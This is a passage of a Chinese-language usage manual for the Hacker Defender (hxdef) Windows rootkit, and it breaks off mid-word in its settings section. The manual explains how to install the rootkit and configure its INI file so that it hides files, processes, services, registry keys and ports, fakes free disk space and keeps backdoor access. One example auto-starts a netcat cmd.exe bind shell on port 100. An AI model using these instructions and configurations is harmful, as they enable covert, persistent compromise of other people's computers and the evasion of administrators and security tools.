程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入 redirector。

=====[ 2.2 申明]====================================================

本项目1.0.0版本是开发源代码

使用Hacker defender所造成的后果作者本人概不负责。

=====[ 3. 用法 ]==================================================

    一个使用hxdef的简单例子:

    >hxdef100.exe [inifile]

或者

    >hxdef100.exe [switch]

直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini 。

当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是

hxdef100.ini。

下面的参数是有效的:

    -:installonly     -     只安装服务,不运行

    -:refresh     -     从INI文件中更新设置

    -:noservice     -     正常运行不安装服务

    -:uninstall     -     移除hxdef删除所有运行的后门连接,同时停止hxdef服务

                 

例如:

    >hxdef100.exe -:refresh

Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。

参数 -:refresh and -:uninstall 来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。

=====[ 4. Ini文件 ]============================================

ini文件必须包含了9个部分: [Hidden Table], [Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues], [Startup Run], [Free Space], [Hidden Ports]和[Settings]。

在 [Hidden Table], [Root Processes], [Hidden Services]和[Hidden RegValues] 中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。

例如:

[Hidden Table]

hxdef*

将开始隐藏所有在Hidden Table中以"hxdef"开头的文件、文件夹和系统进程。

在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。

在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。

服务和驱动所组成的Hidden Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。

Hidden RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100, LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100 如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。

开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc ,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。

在Hidden RegValues列出的注册表的值将会被隐藏。

Startup Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。

%cmd%标准系统的shell和路径

%cmddir%标准系统的shell文件夹

%sysdir%     - 系统文件夹

              (e.g. C:\winnt\system32\)

%windir%     - 标准系统文件夹

              (e.g. C:\winnt\)

%tmpdir%     - 临时文件夹

              (e.g. C:\winnt\temp\)

例如:

1)

[Startup Run]

c:\sys\nc.exe?-L -p 100 -t -e cmd.exe

nc-shell将会在rootkit运行以后监听100端口

2)

[Startup Run]

%cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt

将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。

(%TIME%仅仅运行于Windows2000以上的操作系统。)

Free Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。

例如:

[Free Space]

C:123456789

这将在C盘增加大约123M的磁盘空间。

Hidden Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3 ,第2行的格式是UDP:udpport1,udpport2,udpport3 ...

例如:

1)

[Hidden Ports]

TCP:8080,456

这将隐藏2个TCP端口:8080和456

2)

[Hidden Ports]

TCP:8001

UDP:12345

这将隐藏2个端口:TCP的8001和UDP的12345。

3)

[Hidden Ports]

TCP:

UDP:53,54,55,56,800

隐藏5个端口,都为UDP端口:53,54,55,56,800。

Settings包含了8个值:Password, BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName, ServiceDescription, DriverName 和 DriverFileName。

名。

16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。

BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。

FileMappingName,当钩子进程被存储时,用于共享内存。

ServiceName是rootkit服务

ServiceDisplayName为rootkit显示的服务

ServiceDescription位rootkit的服务描述

DriverName以hxdef驱动命名

DriverFileName以hxdef驱动文件命名

例如;

[Settings]

Password=hxdef-rulez

BackdoorShell=hxdef?.exe

FileMappingName=_.-=[Hacker Defender]=-._

ServiceName=HackerDefender100

ServiceDisplayName=HXD Service 100

ServiceDescription=powerful NT rootkit

DriverNa